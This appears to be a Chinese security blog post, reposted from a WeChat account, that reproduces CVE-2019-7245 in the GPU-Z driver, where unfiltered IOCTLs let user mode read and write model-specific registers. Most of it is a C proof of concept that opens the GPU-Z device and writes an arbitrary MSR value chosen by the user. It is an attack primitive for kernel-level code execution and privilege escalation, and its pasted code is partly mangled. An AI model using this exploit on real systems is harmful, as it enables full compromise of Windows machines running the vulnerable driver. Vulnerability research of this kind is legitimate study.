GPU-Z MSR寄存器任意读写(CVE-2019-7245)复现

admin 2020年12月21日14:47:13评论228 views字数 1202阅读4分0秒阅读模式

漏洞描述:

在2.23.0之前的GPU-Z中的GPU-Z.sys中发现了一个问题。易受攻击的驱动程序通过IOCTL公开了wrmsr指令,并且未正确过滤模型特定寄存器(MSR)。允许任意MSR写操作可能会导致执行Ring-0代码并提升特权。

漏洞形成:

在GPU-Z驱动中发现IOCTL 0x80006430+24与0x80006430+28中存在直接的读与写MSR的功能,并且没有任何有效的过滤操作。使得通过DeviceIoControl 请求指定IOCTL后能够在R3直接操控MSR对系统和CPU的重要配置信息进行读取修改替换。


GPU-Z MSR寄存器任意读写(CVE-2019-7245)复现

漏洞复现:

GPU-Z MSR寄存器任意读写(CVE-2019-7245)复现

POC:

#define DEV_NAME _T("\\.\GPU-Z")//参数为 4字节 MSR编号 ,输出8字节数据#define IOCTL_RDMSR 0x80006430+24//参数为 4字节 MSR编号 和 8字节数据#define IOCTL_WRMSR 0x80006430+28
#pragma pack(push)
#pragma pack(1)
typedef struct _WRMSR_INFO {UINT32 MsrID;UINT64 MsrData;}WRMSR_INFO, *PWRMSR_INFO;
#pragma pack(pop)
int main(){WRMSR_INFO MsrInfo;HANDLE hFile;hFile = CreateFile(DEV_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL);if (hFile == INVALID_HANDLE_VALUE){printf("打开设备失败%xn", GetLastError());return 0;}DWORD dwRetSize = 0;printf("输入欲修改的MSR ID(hex):");scanf_s("%x", &MsrInfo.MsrID);printf("输入数据(hex):");scanf_s("%I64x", &MsrInfo.MsrData);DeviceIoControl(hFile, IOCTL_WRMSR, &MsrInfo, sizeof(MsrInfo), NULL0, &dwRetSize, NULL);if (dwRetSize)printf("[-]修改失败!错误:%dn", GetLastError());elseprintf("[+]修改成功~n");CloseHandle(hFile);return 0;}


本文始发于微信公众号(锋刃科技):GPU-Z MSR寄存器任意读写(CVE-2019-7245)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月21日14:47:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GPU-Z MSR寄存器任意读写(CVE-2019-7245)复现http://cn-sec.com/archives/212019.html

发表评论

匿名网友 填写信息